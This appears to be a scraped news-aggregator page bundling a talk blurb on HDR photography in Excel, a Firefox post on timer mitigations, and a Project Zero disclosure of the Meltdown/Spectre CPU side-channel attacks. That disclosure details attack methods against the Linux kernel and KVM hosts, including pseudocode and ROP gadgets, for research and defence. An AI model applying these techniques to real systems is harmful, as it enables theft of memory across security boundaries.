Quantcast
Channel: Hacker News
Viewing all 25817 articles
Browse latest View live

HDR Photography in Microsoft Excel [video]

$
0
0

Offentliggjort den 17. maj 2017

HDR Photography in Microsoft Excel?! by Kevin Chen

Have you ever taken a photo with areas that are too bright or too dark? As any photographer will tell you, high dynamic range photography is the right way to solve your problem. And, as any businessperson will tell you, Microsoft Excel is the right platform to implement your solution.

In this talk, I’ll explain the algorithm from one of the foundational papers about HDR imaging — no prior image processing knowledge required. Turns out, it’s just a system of linear equations! So, obviously, the next step is to implement HDR in a spreadsheet. Because we can. The end result reveals how this complicated-sounding algorithm boils down to a few simple ideas.

Kevin is an amateur photographer and Microsoft Office enthusiast. He also studies computer science at Columbia University.


Mitigations landing for new class of timing attack

$
0
0

Several recently-published researcharticles have demonstrated a new class of timing attacks (Meltdown and Spectre) that work on modern CPUs.  Our internal experiments confirm that it is possible to use similar techniques from Web content to read private information between different origins.  The full extent of this class of attack is still under investigation and we are working with security researchers and other browser vendors to fully understand the threat and fixes.  Since this new class of attacks involves measuring precise time intervals, as a partial, short-term, mitigation we are disabling or reducing the precision of several time sources in Firefox.  This includes both explicit sources, like performance.now(), and implicit sources that allow building high-resolution timers, viz., SharedArrayBuffer.

Specifically, in all release channels, starting with 57:

  • The resolution of performance.now() will be reduced to 20µs.
  • The SharedArrayBuffer feature is being disabled by default.

Furthermore, other timing sources and time-fuzzing techniques are being worked on.

In the longer term, we have started experimenting with techniques to remove the information leak closer to the source, instead of just hiding the leak by disabling timers.  This project requires time to understand, implement and test, but might allow us to consider reenabling SharedArrayBuffer and the other high-resolution timers as these features provide important capabilities to the Web platform.

Reading privileged memory with a side-channel

$
0
0
Posted by Jann Horn, Project Zero


We have discovered that CPU data cache timing can be abused to efficiently leak information out of mis-speculated execution, leading to (at worst) arbitrary virtual memory read vulnerabilities across local security boundaries in various contexts.

Variants of this issue are known to affect many modern processors, including certain processors by Intel, AMD and ARM. For a few Intel and AMD CPU models, we have exploits that work against real software. We reported this issue to Intel, AMD and ARM on 2017-06-01 [1].

So far, there are three known variants of the issue:

  • Variant 1: bounds check bypass (CVE-2017-5753)
  • Variant 2: branch target injection (CVE-2017-5715)
  • Variant 3: rogue data cache load (CVE-2017-5754)

Before the issues described here were publicly disclosed, Daniel Gruss, Moritz Lipp, Yuval Yarom, Paul Kocher, Daniel Genkin, Michael Schwarz, Mike Hamburg, Stefan Mangard, Thomas Prescher and Werner Haas also reported them; their [writeups/blogposts/paper drafts] are at:


During the course of our research, we developed the following proofs of concept (PoCs):

  1. A PoC that demonstrates the basic principles behind variant 1 in userspace on the tested Intel Haswell Xeon CPU, the AMD FX CPU, the AMD PRO CPU and an ARM Cortex A57 [2]. This PoC only tests for the ability to read data inside mis-speculated execution within the same process, without crossing any privilege boundaries.
  2. A PoC for variant 1 that, when running with normal user privileges under a modern Linux kernel with a distro-standard config, can perform arbitrary reads in a 4GiB range [3] in kernel virtual memory on the Intel Haswell Xeon CPU. If the kernel's BPF JIT is enabled (non-default configuration), it also works on the AMD PRO CPU. On the Intel Haswell Xeon CPU, kernel virtual memory can be read at a rate of around 2000 bytes per second after around 4 seconds of startup time. [4]
  3. A PoC for variant 2 that, when running with root privileges inside a KVM guest created using virt-manager on the Intel Haswell Xeon CPU, with a specific (now outdated) version of Debian's distro kernel [5] running on the host, can read host kernel memory at a rate of around 1500 bytes/second, with room for optimization. Before the attack can be performed, some initialization has to be performed that takes roughly between 10 and 30 minutes for a machine with 64GiB of RAM; the needed time should scale roughly linearly with the amount of host RAM. (If 2MB hugepages are available to the guest, the initialization should be much faster, but that hasn't been tested.)
  4. A PoC for variant 3 that, when running with normal user privileges, can read kernel memory on the Intel Haswell Xeon CPU under some precondition. We believe that this precondition is that the targeted kernel memory is present in the L1D cache.

For interesting resources around this topic, look down into the "Literature" section.

A warning regarding explanations about processor internals in this blogpost: This blogpost contains a lot of speculation about hardware internals based on observed behavior, which might not necessarily correspond to what processors are actually doing.

We have some ideas on possible mitigations and provided some of those ideas to the processor vendors; however, we believe that the processor vendors are in a much better position than we are to design and evaluate mitigations, and we expect them to be the source of authoritative guidance.

The PoC code and the writeups that we sent to the CPU vendors will be made available at a later date.

Tested Processors

  • Intel(R) Xeon(R) CPU E5-1650 v3 @ 3.50GHz (called "Intel Haswell Xeon CPU" in the rest of this document)
  • AMD FX(tm)-8320 Eight-Core Processor (called "AMD FX CPU" in the rest of this document)
  • AMD PRO A8-9600 R7, 10 COMPUTE CORES 4C+6G (called "AMD PRO CPU" in the rest of this document)
  • An ARM Cortex A57 core of a Google Nexus 5x phone [6] (called "ARM Cortex A57" in the rest of this document)

Glossary

retire: An instruction retires when its results, e.g. register writes and memory writes, are committed and made visible to the rest of the system. Instructions can be executed out of order, but must always retire in order.

logical processor core: A logical processor core is what the operating system sees as a processor core. With hyperthreading enabled, the number of logical cores is a multiple of the number of physical cores.

cached/uncached data: In this blogpost, "uncached" data is data that is only present in main memory, not in any of the cache levels of the CPU. Loading uncached data will typically take over 100 cycles of CPU time.

speculative execution: A processor can execute past a branch without knowing whether it will be taken or where its target is, therefore executing instructions before it is known whether they should be executed. If this speculation turns out to have been incorrect, the CPU can discard the resulting state without architectural effects and continue execution on the correct execution path. Instructions do not retire before it is known that they are on the correct execution path.

mis-speculation window: The time window during which the CPU speculatively executes the wrong code and has not yet detected that mis-speculation has occurred.

Variant 1: Bounds check bypass

This section explains the common theory behind all three variants and the theory behind our PoC for variant 1 that, when running in userspace under a Debian distro kernel, can perform arbitrary reads in a 4GiB region of kernel memory in at least the following configurations:

  • Intel Haswell Xeon CPU, eBPF JIT is off (default state)
  • Intel Haswell Xeon CPU, eBPF JIT is on (non-default state)
  • AMD PRO CPU, eBPF JIT is on (non-default state)

The state of the eBPF JIT can be toggled using the net.core.bpf_jit_enable sysctl.

Theoretical explanation

The Intel Optimization Reference Manual says the following regarding Sandy Bridge (and later microarchitectural revisions) in section 2.3.2.3 ("Branch Prediction"):

Branch prediction predicts the branch target and enables the
processor to begin executing instructions long before the branch
true execution path is known.

In section 2.3.5.2 ("L1 DCache"):

Loads can:
[...]
  • Be carried out speculatively, before preceding branches are resolved.
  • Take cache misses out of order and in an overlapped manner.

Intel's Software Developer's Manual [7] states in Volume 3A, section 11.7 ("Implicit Caching (Pentium 4, Intel Xeon, and P6 family processors"):

Implicit caching occurs when a memory element is made potentially cacheable, although the element may never have been accessed in the normal von Neumann sequence. Implicit caching occurs on the P6 and more recent processor families due to aggressive prefetching, branch prediction, and TLB miss handling. Implicit caching is an extension of the behavior of existing Intel386, Intel486, and Pentium processor systems, since software running on these processor families also has not been able to deterministically predict the behavior of instruction prefetch.
Consider the code sample below. If arr1->length is uncached, the processor can speculatively load data from arr1->data[untrusted_offset_from_caller]. This is an out-of-bounds read. That should not matter because the processor will effectively roll back the execution state when the branch has executed; none of the speculatively executed instructions will retire (e.g. cause registers etc. to be affected).

struct array {
 unsigned long length;
 unsigned char data[];
};
struct array *arr1 = ...;
unsigned long untrusted_offset_from_caller = ...;
if (untrusted_offset_from_caller < arr1->length) {
 unsigned char value = arr1->data[untrusted_offset_from_caller];
 ...
}
However, in the following code sample, there's an issue. If arr1->length, arr2->data[0x200] and arr2->data[0x300] are not cached, but all other accessed data is, and the branch conditions are predicted as true, the processor can do the following speculatively before arr1->length has been loaded and the execution is re-steered:

  • load value = arr1->data[untrusted_offset_from_caller]
  • start a load from a data-dependent offset in arr2->data, loading the corresponding cache line into the L1 cache

struct array {
 unsigned long length;
 unsigned char data[];
};
struct array *arr1 = ...; /* small array */
struct array *arr2 = ...; /* array of size 0x400 */
/* >0x400 (OUT OF BOUNDS!) */
unsigned long untrusted_offset_from_caller = ...;
if (untrusted_offset_from_caller< arr1->length) {
 unsigned char value = arr1->data[untrusted_offset_from_caller];
 unsigned long index2 = ((value&1)*0x100)+0x200;
 if (index2 < arr2->length) {
   unsigned char value2 = arr2->data[index2];
 }
}

After the execution has been returned to the non-speculative path because the processor has noticed that untrusted_offset_from_caller is bigger than arr1->length, the cache line containing arr2->data[index2] stays in the L1 cache. By measuring the time required to load arr2->data[0x200] and arr2->data[0x300], an attacker can then determine whether the value of index2 during speculative execution was 0x200 or 0x300 - which discloses whether arr1->data[untrusted_offset_from_caller]&1 is 0 or 1.

To be able to actually use this behavior for an attack, an attacker needs to be able to cause the execution of such a vulnerable code pattern in the targeted context with an out-of-bounds index. For this, the vulnerable code pattern must either be present in existing code, or there must be an interpreter or JIT engine that can be used to generate the vulnerable code pattern. So far, we have not actually identified any existing, exploitable instances of the vulnerable code pattern; the PoC for leaking kernel memory using variant 1 uses the eBPF interpreter or the eBPF JIT engine, which are built into the kernel and accessible to normal users.

A minor variant of this could be to instead use an out-of-bounds read to a function pointer to gain control of execution in the mis-speculated path. We did not investigate this variant further.

Attacking the kernel

This section describes in more detail how variant 1 can be used to leak Linux kernel memory using the eBPF bytecode interpreter and JIT engine. While there are many interesting potential targets for variant 1 attacks, we chose to attack the Linux in-kernel eBPF JIT/interpreter because it provides more control to the attacker than most other JITs.

The Linux kernel supports eBPF since version 3.18. Unprivileged userspace code can supply bytecode to the kernel that is verified by the kernel and then:

  • either interpreted by an in-kernel bytecode interpreter
  • or translated to native machine code that also runs in kernel context using a JIT engine (which translates individual bytecode instructions without performing any further optimizations)

Execution of the bytecode can be triggered by attaching the eBPF bytecode to a socket as a filter and then sending data through the other end of the socket.

Whether the JIT engine is enabled depends on a run-time configuration setting - but at least on the tested Intel processor, the attack works independent of that setting.

Unlike classic BPF, eBPF has data types like data arrays and function pointer arrays into which eBPF bytecode can index. Therefore, it is possible to create the code pattern described above in the kernel using eBPF bytecode.

eBPF's data arrays are less efficient than its function pointer arrays, so the attack will use the latter where possible.

Both machines on which this was tested have no SMAP, and the PoC relies on that (but it shouldn't be a precondition in principle).

Additionally, at least on the Intel machine on which this was tested, bouncing modified cache lines between cores is slow, apparently because the MESI protocol is used for cache coherence [8]. Changing the reference counter of an eBPF array on one physical CPU core causes the cache line containing the reference counter to be bounced over to that CPU core, making reads of the reference counter on all other CPU cores slow until the changed reference counter has been written back to memory. Because the length and the reference counter of an eBPF array are stored in the same cache line, this also means that changing the reference counter on one physical CPU core causes reads of the eBPF array's length to be slow on other physical CPU cores (intentional false sharing).

The attack uses two eBPF programs. The first one tail-calls through a page-aligned eBPF function pointer array prog_map at a configurable index. In simplified terms, this program is used to determine the address of prog_map by guessing the offset from prog_map to a userspace address and tail-calling through prog_map at the guessed offsets. To cause the branch prediction to predict that the offset is below the length of prog_map, tail calls to an in-bounds index are performed in between. To increase the mis-speculation window, the cache line containing the length of prog_map is bounced to another core. To test whether an offset guess was successful, it can be tested whether the userspace address has been loaded into the cache.

Because such straightforward brute-force guessing of the address would be slow, the following optimization is used: 215 adjacent userspace memory mappings [9], each consisting of 24 pages, are created at the userspace address user_mapping_area, covering a total area of 231 bytes. Each mapping maps the same physical pages, and all mappings are present in the pagetables.



This permits the attack to be carried out in steps of 231 bytes. For each step, after causing an out-of-bounds access through prog_map, only one cache line each from the first 24 pages of user_mapping_area have to be tested for cached memory. Because the L3 cache is physically indexed, any access to a virtual address mapping a physical page will cause all other virtual addresses mapping the same physical page to become cached as well.

When this attack finds a hit—a cached memory location—the upper 33 bits of the kernel address are known (because they can be derived from the address guess at which the hit occurred), and the low 16 bits of the address are also known (from the offset inside user_mapping_area at which the hit was found). The remaining part of the address of user_mapping_area is the middle.



The remaining bits in the middle can be determined by bisecting the remaining address space: Map two physical pages to adjacent ranges of virtual addresses, each virtual address range the size of half of the remaining search space, then determine the remaining address bit-wise.

At this point, a second eBPF program can be used to actually leak data. In pseudocode, this program looks as follows:

uint64_t bitmask = <runtime-configurable>;
uint64_t bitshift_selector = <runtime-configurable>;
uint64_t prog_array_base_offset = <runtime-configurable>;
uint64_t secret_data_offset = <runtime-configurable>;
// index will be bounds-checked by the runtime,
// but the bounds check will be bypassed speculatively
uint64_t secret_data = bpf_map_read(array=victim_array, index=secret_data_offset);
// select a single bit, move it to a specific position, and add the base offset
uint64_t progmap_index = (((secret_data & bitmask) >> bitshift_selector) << 7) + prog_array_base_offset;
bpf_tail_call(prog_map, progmap_index);

This program reads 8-byte-aligned 64-bit values from an eBPF data array "victim_map" at a runtime-configurable offset and bitmasks and bit-shifts the value so that one bit is mapped to one of two values that are 27 bytes apart (sufficient to not land in the same or adjacent cache lines when used as an array index). Finally it adds a 64-bit offset, then uses the resulting value as an offset into prog_map for a tail call.

This program can then be used to leak memory by repeatedly calling the eBPF program with an out-of-bounds offset into victim_map that specifies the data to leak and an out-of-bounds offset into prog_map that causes prog_map + offset to point to a userspace memory area. Misleading the branch prediction and bouncing the cache lines works the same way as for the first eBPF program, except that now, the cache line holding the length of victim_map must also be bounced to another core.

Variant 2: Branch target injection

This section describes the theory behind our PoC for variant 2 that, when running with root privileges inside a KVM guest created using virt-manager on the Intel Haswell Xeon CPU, with a specific version of Debian's distro kernel running on the host, can read host kernel memory at a rate of around 1500 bytes/second.

Basics

Prior research (see the Literature section at the end) has shown that it is possible for code in separate security contexts to influence each other's branch prediction. So far, this has only been used to infer information about where code is located (in other words, to create interference from the victim to the attacker); however, the basic hypothesis of this attack variant is that it can also be used to redirect execution of code in the victim context (in other words, to create interference from the attacker to the victim; the other way around).



The basic idea for the attack is to target victim code that contains an indirect branch whose target address is loaded from memory and flush the cache line containing the target address out to main memory. Then, when the CPU reaches the indirect branch, it won't know the true destination of the jump, and it won't be able to calculate the true destination until it has finished loading the cache line back into the CPU, which takes a few hundred cycles. Therefore, there is a time window of typically over 100 cycles in which the CPU will speculatively execute instructions based on branch prediction.

Haswell branch prediction internals

Some of the internals of the branch prediction implemented by Intel's processors have already been published; however, getting this attack to work properly required significant further experimentation to determine additional details.

This section focuses on the branch prediction internals that were experimentally derived from the Intel Haswell Xeon CPU.

Haswell seems to have multiple branch prediction mechanisms that work very differently:

  • A generic branch predictor that can only store one target per source address; used for all kinds of jumps, like absolute jumps, relative jumps and so on.
  • A specialized indirect call predictor that can store multiple targets per source address; used for indirect calls.
  • (There is also a specialized return predictor, according to Intel's optimization manual, but we haven't analyzed that in detail yet. If this predictor could be used to reliably dump out some of the call stack through which a VM was entered, that would be very interesting.)

Generic predictor

The generic branch predictor, as documented in prior research, only uses the lower 31 bits of the address of the last byte of the source instruction for its prediction. If, for example, a branch target buffer (BTB) entry exists for a jump from 0x4141.0004.1000 to 0x4141.0004.5123, the generic predictor will also use it to predict a jump from 0x4242.0004.1000. When the higher bits of the source address differ like this, the higher bits of the predicted destination change together with it—in this case, the predicted destination address will be 0x4242.0004.5123—so apparently this predictor doesn't store the full, absolute destination address.

Before the lower 31 bits of the source address are used to look up a BTB entry, they are folded together using XOR. Specifically, the following bits are folded together:

bit A
bit B
0x40.0000
0x2000
0x80.0000
0x4000
0x100.0000
0x8000
0x200.0000
0x1.0000
0x400.0000
0x2.0000
0x800.0000
0x4.0000
0x2000.0000
0x10.0000
0x4000.0000
0x20.0000

In other words, if a source address is XORed with both numbers in a row of this table, the branch predictor will not be able to distinguish the resulting address from the original source address when performing a lookup. For example, the branch predictor is able to distinguish source addresses 0x100.0000 and 0x180.0000, and it can also distinguish source addresses 0x100.0000 and 0x180.8000, but it can't distinguish source addresses 0x100.0000 and 0x140.2000 or source addresses 0x100.0000 and 0x180.4000. In the following, this will be referred to as aliased source addresses.

When an aliased source address is used, the branch predictor will still predict the same target as for the unaliased source address. This indicates that the branch predictor stores a truncated absolute destination address, but that hasn't been verified.

Based on observed maximum forward and backward jump distances for different source addresses, the low 32-bit half of the target address could be stored as an absolute 32-bit value with an additional bit that specifies whether the jump from source to target crosses a 232 boundary; if the jump crosses such a boundary, bit 31 of the source address determines whether the high half of the instruction pointer should increment or decrement.

Indirect call predictor

The inputs of the BTB lookup for this mechanism seem to be:

  • The low 12 bits of the address of the source instruction (we are not sure whether it's the address of the first or the last byte) or a subset of them.
  • The branch history buffer state.

If the indirect call predictor can't resolve a branch, it is resolved by the generic predictor instead. Intel's optimization manual hints at this behavior: "Indirect Calls and Jumps. These may either be predicted as having a monotonic target or as having targets that vary in accordance with recent program behavior."

The branch history buffer (BHB) stores information about the last 29 taken branches - basically a fingerprint of recent control flow - and is used to allow better prediction of indirect calls that can have multiple targets.

The update function of the BHB works as follows (in pseudocode; src is the address of the last byte of the source instruction, dst is the destination address):

void bhb_update(uint58_t *bhb_state, unsigned long src, unsigned long dst) {
 *bhb_state <<= 2;
 *bhb_state ^= (dst & 0x3f);
 *bhb_state ^= (src & 0xc0) >> 6;
 *bhb_state ^= (src & 0xc00) >> (10 - 2);
 *bhb_state ^= (src & 0xc000) >> (14 - 4);
 *bhb_state ^= (src & 0x30) << (6 - 4);
 *bhb_state ^= (src & 0x300) << (8 - 8);
 *bhb_state ^= (src & 0x3000) >> (12 - 10);
 *bhb_state ^= (src & 0x30000) >> (16 - 12);
 *bhb_state ^= (src & 0xc0000) >> (18 - 14);
}

Some of the bits of the BHB state seem to be folded together further using XOR when used for a BTB access, but the precise folding function hasn't been understood yet.

The BHB is interesting for two reasons. First, knowledge about its approximate behavior is required in order to be able to accurately cause collisions in the indirect call predictor. But it also permits dumping out the BHB state at any repeatable program state at which the attacker can execute code - for example, when attacking a hypervisor, directly after a hypercall. The dumped BHB state can then be used to fingerprint the hypervisor or, if the attacker has access to the hypervisor binary, to determine the low 20 bits of the hypervisor load address (in the case of KVM: the low 20 bits of the load address of kvm-intel.ko).

Reverse-Engineering Branch Predictor Internals

This subsection describes how we reverse-engineered the internals of the Haswell branch predictor. Some of this is written down from memory, since we didn't keep a detailed record of what we were doing.

We initially attempted to perform BTB injections into the kernel using the generic predictor, using the knowledge from prior research that the generic predictor only looks at the lower half of the source address and that only a partial target address is stored. This kind of worked - however, the injection success rate was very low, below 1%. (This is the method we used in our preliminary PoCs for method 2 against modified hypervisors running on Haswell.)

We decided to write a userspace test case to be able to more easily test branch predictor behavior in different situations.

Based on the assumption that branch predictor state is shared between hyperthreads [10], we wrote a program of which two instances are each pinned to one of the two logical processors running on a specific physical core, where one instance attempts to perform branch injections while the other measures how often branch injections are successful. Both instances were executed with ASLR disabled and had the same code at the same addresses. The injecting process performed indirect calls to a function that accesses a (per-process) test variable; the measuring process performed indirect calls to a function that tests, based on timing, whether the per-process test variable is cached, and then evicts it using CLFLUSH. Both indirect calls were performed through the same callsite. Before each indirect call, the function pointer stored in memory was flushed out to main memory using CLFLUSH to widen the speculation time window. Additionally, because of the reference to "recent program behavior" in Intel's optimization manual, a bunch of conditional branches that are always taken were inserted in front of the indirect call.

In this test, the injection success rate was above 99%, giving us a base setup for future experiments.



We then tried to figure out the details of the prediction scheme. We assumed that the prediction scheme uses a global branch history buffer of some kind.

To determine the duration for which branch information stays in the history buffer, a conditional branch that is only taken in one of the two program instances was inserted in front of the series of always-taken conditional jumps, then the number of always-taken conditional jumps (N) was varied. The result was that for N=25, the processor was able to distinguish the branches (misprediction rate under 1%), but for N=26, it failed to do so (misprediction rate over 99%).
Therefore, the branch history buffer had to be able to store information about at least the last 26 branches.

The code in one of the two program instances was then moved around in memory. This revealed that only the lower 20 bits of the source and target addresses have an influence on the branch history buffer.

Testing with different types of branches in the two program instances revealed that static jumps, taken conditional jumps, calls and returns influence the branch history buffer the same way; non-taken conditional jumps don't influence it; the address of the last byte of the source instruction is the one that counts; IRETQ doesn't influence the history buffer state (which is useful for testing because it permits creating program flow that is invisible to the history buffer).

Moving the last conditional branch before the indirect call around in memory multiple times revealed that the branch history buffer contents can be used to distinguish many different locations of that last conditional branch instruction. This suggests that the history buffer doesn't store a list of small history values; instead, it seems to be a larger buffer in which history data is mixed together.

However, a history buffer needs to "forget" about past branches after a certain number of new branches have been taken in order to be useful for branch prediction. Therefore, when new data is mixed into the history buffer, this can not cause information in bits that are already present in the history buffer to propagate downwards - and given that, upwards combination of information probably wouldn't be very useful either. Given that branch prediction also must be very fast, we concluded that it is likely that the update function of the history buffer left-shifts the old history buffer, then XORs in the new state (see diagram).



If this assumption is correct, then the history buffer contains a lot of information about the most recent branches, but only contains as many bits of information as are shifted per history buffer update about the last branch about which it contains any data. Therefore, we tested whether flipping different bits in the source and target addresses of a jump followed by 32 always-taken jumps with static source and target allows the branch prediction to disambiguate an indirect call. [11]

With 32 static jumps in between, no bit flips seemed to have an influence, so we decreased the number of static jumps until a difference was observable. The result with 28 always-taken jumps in between was that bits 0x1 and 0x2 of the target and bits 0x40 and 0x80 of the source had such an influence; but flipping both 0x1 in the target and 0x40 in the source or 0x2 in the target and 0x80 in the source did not permit disambiguation. This shows that the per-insertion shift of the history buffer is 2 bits and shows which data is stored in the least significant bits of the history buffer. We then repeated this with decreased amounts of fixed jumps after the bit-flipped jump to determine which information is stored in the remaining bits.

Reading host memory from a KVM guest

Locating the host kernel

Our PoC locates the host kernel in several steps. The information that is determined and necessary for the next steps of the attack consists of:

  • lower 20 bits of the address of kvm-intel.ko
  • full address of kvm.ko
  • full address of vmlinux

Looking back, this is unnecessarily complicated, but it nicely demonstrates the various techniques an attacker can use. A simpler way would be to first determine the address of vmlinux, then bisect the addresses of kvm.ko and kvm-intel.ko.

In the first step, the address of kvm-intel.ko is leaked. For this purpose, the branch history buffer state after guest entry is dumped out. Then, for every possible value of bits 12..19 of the load address of kvm-intel.ko, the expected lowest 16 bits of the history buffer are computed based on the load address guess and the known offsets of the last 8 branches before guest entry, and the results are compared against the lowest 16 bits of the leaked history buffer state.

The branch history buffer state is leaked in steps of 2 bits by measuring misprediction rates of an indirect call with two targets. One way the indirect call is reached is from a vmcall instruction followed by a series of N branches whose relevant source and target address bits are all zeroes. The second way the indirect call is reached is from a series of controlled branches in userspace that can be used to write arbitrary values into the branch history buffer.
Misprediction rates are measured as in the section "Reverse-Engineering Branch Predictor Internals", using one call target that loads a cache line and another one that checks whether the same cache line has been loaded.



With N=29, mispredictions will occur at a high rate if the controlled branch history buffer value is zero because all history buffer state from the hypercall has been erased. With N=28, mispredictions will occur if the controlled branch history buffer value is one of 0<<(28*2), 1<<(28*2), 2<<(28*2), 3<<(28*2) - by testing all four possibilities, it can be detected which one is right. Then, for decreasing values of N, the four possibilities are {0|1|2|3}<<(28*2) | (history_buffer_for(N+1) >> 2). By repeating this for decreasing values for N, the branch history buffer value for N=0 can be determined.

At this point, the low 20 bits of kvm-intel.ko are known; the next step is to roughly locate kvm.ko.
For this, the generic branch predictor is used, using data inserted into the BTB by an indirect call from kvm.ko to kvm-intel.ko that happens on every hypercall; this means that the source address of the indirect call has to be leaked out of the BTB.

kvm.ko will probably be located somewhere in the range from 0xffffffffc0000000 to 0xffffffffc4000000, with page alignment (0x1000). This means that the first four entries in the table in the section "Generic Predictor" apply; there will be 24-1=15 aliasing addresses for the correct one. But that is also an advantage: It cuts down the search space from 0x4000 to 0x4000/24=1024.

To find the right address for the source or one of its aliasing addresses, code that loads data through a specific register is placed at all possible call targets (the leaked low 20 bits of kvm-intel.ko plus the in-module offset of the call target plus a multiple of 220) and indirect calls are placed at all possible call sources. Then, alternatingly, hypercalls are performed and indirect calls are performed through the different possible non-aliasing call sources, with randomized history buffer state that prevents the specialized prediction from working. After this step, there are 216 remaining possibilities for the load address of kvm.ko.

Next, the load address of vmlinux can be determined in a similar way, using an indirect call from vmlinux to kvm.ko. Luckily, none of the bits which are randomized in the load address of vmlinux  are folded together, so unlike when locating kvm.ko, the result will directly be unique. vmlinux has an alignment of 2MiB and a randomization range of 1GiB, so there are still only 512 possible addresses.
Because (as far as we know) a simple hypercall won't actually cause indirect calls from vmlinux to kvm.ko, we instead use port I/O from the status register of an emulated serial port, which is present in the default configuration of a virtual machine created with virt-manager.

The only remaining piece of information is which one of the 16 aliasing load addresses of kvm.ko is actually correct. Because the source address of an indirect call to kvm.ko is known, this can be solved using bisection: Place code at the various possible targets that, depending on which instance of the code is speculatively executed, loads one of two cache lines, and measure which one of the cache lines gets loaded.

Identifying cache sets

The PoC assumes that the VM does not have access to hugepages.To discover eviction sets for all L3 cache sets with a specific alignment relative to a 4KiB page boundary, the PoC first allocates 25600 pages of memory. Then, in a loop, it selects random subsets of all remaining unsorted pages such that the expected number of sets for which an eviction set is contained in the subset is 1, reduces each subset down to an eviction set by repeatedly accessing its cache lines and testing whether the cache lines are always cached (in which case they're probably not part of an eviction set) and attempts to use the new eviction set to evict all remaining unsorted cache lines to determine whether they are in the same cache set [12].

Locating the host-virtual address of a guest page

Because this attack uses a FLUSH+RELOAD approach for leaking data, it needs to know the host-kernel-virtual address of one guest page. Alternative approaches such as PRIME+PROBE should work without that requirement.

The basic idea for this step of the attack is to use a branch target injection attack against the hypervisor to load an attacker-controlled address and test whether that caused the guest-owned page to be loaded. For this, a gadget that simply loads from the memory location specified by R8 can be used - R8-R11 still contain guest-controlled values when the first indirect call after a guest exit is reached on this kernel build.

We expected that an attacker would need to either know which eviction set has to be used at this point or brute-force it simultaneously; however, experimentally, using random eviction sets works, too. Our theory is that the observed behavior is actually the result of L1D and L2 evictions, which might be sufficient to permit a few instructions worth of speculative execution.

The host kernel maps (nearly?) all physical memory in the physmap area, including memory assigned to KVM guests. However, the location of the physmap is randomized (with a 1GiB alignment), in an area of size 128PiB. Therefore, directly bruteforcing the host-virtual address of a guest page would take a long time. It is not necessarily impossible; as a ballpark estimate, it should be possible within a day or so, maybe less, assuming 12000 successful injections per second and 30 guest pages that are tested in parallel; but not as impressive as doing it in a few minutes.

To optimize this, the problem can be split up: First, brute-force the physical address using a gadget that can load from physical addresses, then brute-force the base address of the physmap region. Because the physical address can usually be assumed to be far below 128PiB, it can be brute-forced more efficiently, and brute-forcing the base address of the physmap region afterwards is also easier because then address guesses with 1GiB alignment can be used.

To brute-force the physical address, the following gadget can be used:

ffffffff810a9def:       4c 89 c0                mov    rax,r8
ffffffff810a9df2:       4d 63 f9                movsxd r15,r9d
ffffffff810a9df5:       4e 8b 04 fd c0 b3 a6    mov    r8,QWORD PTR [r15*8-0x7e594c40]
ffffffff810a9dfc:       81
ffffffff810a9dfd:       4a 8d 3c 00             lea    rdi,[rax+r8*1]
ffffffff810a9e01:       4d 8b a4 00 f8 00 00    mov    r12,QWORD PTR [r8+rax*1+0xf8]
ffffffff810a9e08:       00

This gadget permits loading an 8-byte-aligned value from the area around the kernel text section by setting R9 appropriately, which in particular permits loading page_offset_base, the start address of the physmap. Then, the value that was originally in R8 - the physical address guess minus 0xf8 - is added to the result of the previous load, 0xfa is added to it, and the result is dereferenced.

Cache set selection

To select the correct L3 eviction set, the attack from the following section is essentially executed with different eviction sets until it works.

Leaking data

At this point, it would normally be necessary to locate gadgets in the host kernel code that can be used to actually leak data by reading from an attacker-controlled location, shifting and masking the result appropriately and then using the result of that as offset to an attacker-controlled address for a load. But piecing gadgets together and figuring out which ones work in a speculation context seems annoying. So instead, we decided to use the eBPF interpreter, which is built into the host kernel - while there is no legitimate way to invoke it from inside a VM, the presence of the code in the host kernel's text section is sufficient to make it usable for the attack, just like with ordinary ROP gadgets.

The eBPF interpreter entry point has the following function signature:

static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn)

The second parameter is a pointer to an array of statically pre-verified eBPF instructions to be executed - which means that __bpf_prog_run() will not perform any type checks or bounds checks. The first parameter is simply stored as part of the initial emulated register state, so its value doesn't matter.

The eBPF interpreter provides, among other things:

  • multiple emulated 64-bit registers
  • 64-bit immediate writes to emulated registers
  • memory reads from addresses stored in emulated registers
  • bitwise operations (including bit shifts) and arithmetic operations

To call the interpreter entry point, a gadget that gives RSI and RIP control given R8-R11 control and controlled data at a known memory location is necessary. The following gadget provides this functionality:

ffffffff81514edd:       4c 89 ce                mov    rsi,r9
ffffffff81514ee0:       41 ff 90 b0 00 00 00    call   QWORD PTR [r8+0xb0]

Now, by pointing R8 and R9 at the mapping of a guest-owned page in the physmap, it is possible to speculatively execute arbitrary unvalidated eBPF bytecode in the host kernel. Then, relatively straightforward bytecode can be used to leak data into the cache.

Variant 3: Rogue data cache load


In summary, an attack using this variant of the issue attempts to read kernel memory from userspace without misdirecting the control flow of kernel code. This works by using the code pattern that was used for the previous variants, but in userspace. The underlying idea is that the permission check for accessing an address might not be on the critical path for reading data from memory to a register, where the permission check could have significant performance impact. Instead, the memory read could make the result of the read available to following instructions immediately and only perform the permission check asynchronously, setting a flag in the reorder buffer that causes an exception to be raised if the permission check fails.

We do have a few additions to make to Anders Fogh's blogpost:

"Imagine the following instruction executed in usermode
mov rax,[somekernelmodeaddress]
It will cause an interrupt when retired, [...]"

It is also possible to already execute that instruction behind a high-latency mispredicted branch to avoid taking a page fault. This might also widen the speculation window by increasing the delay between the read from a kernel address and delivery of the associated exception.

"First, I call a syscall that touches this memory. Second, I use the prefetcht0 instruction to improve my odds of having the address loaded in L1."

When we used prefetch instructions after doing a syscall, the attack stopped working for us, and we have no clue why. Perhaps the CPU somehow stores whether access was denied on the last access and prevents the attack from working if that is the case?

"Fortunately I did not get a slow read suggesting that Intel null’s the result when the access is not allowed."

That (read from kernel address returns all-zeroes) seems to happen for memory that is not sufficiently cached but for which pagetable entries are present, at least after repeated read attempts. For unmapped memory, the kernel address read does not return a result at all.

Ideas for further research

We believe that our research provides many remaining research topics that we have not yet investigated, and we encourage other public researchers to look into these.
This section contains an even higher amount of speculation than the rest of this blogpost - it contains untested ideas that might well be useless.

Leaking without data cache timing

It would be interesting to explore whether there are microarchitectural attacks other than measuring data cache timing that can be used for exfiltrating data out of speculative execution.

Other microarchitectures

Our research was relatively Haswell-centric so far. It would be interesting to see details e.g. on how the branch prediction of other modern processors works and how well it can be attacked.

Other JIT engines

We developed a successful variant 1 attack against the JIT engine built into the Linux kernel. It would be interesting to see whether attacks against more advanced JIT engines with less control over the system are also practical - in particular, JavaScript engines.

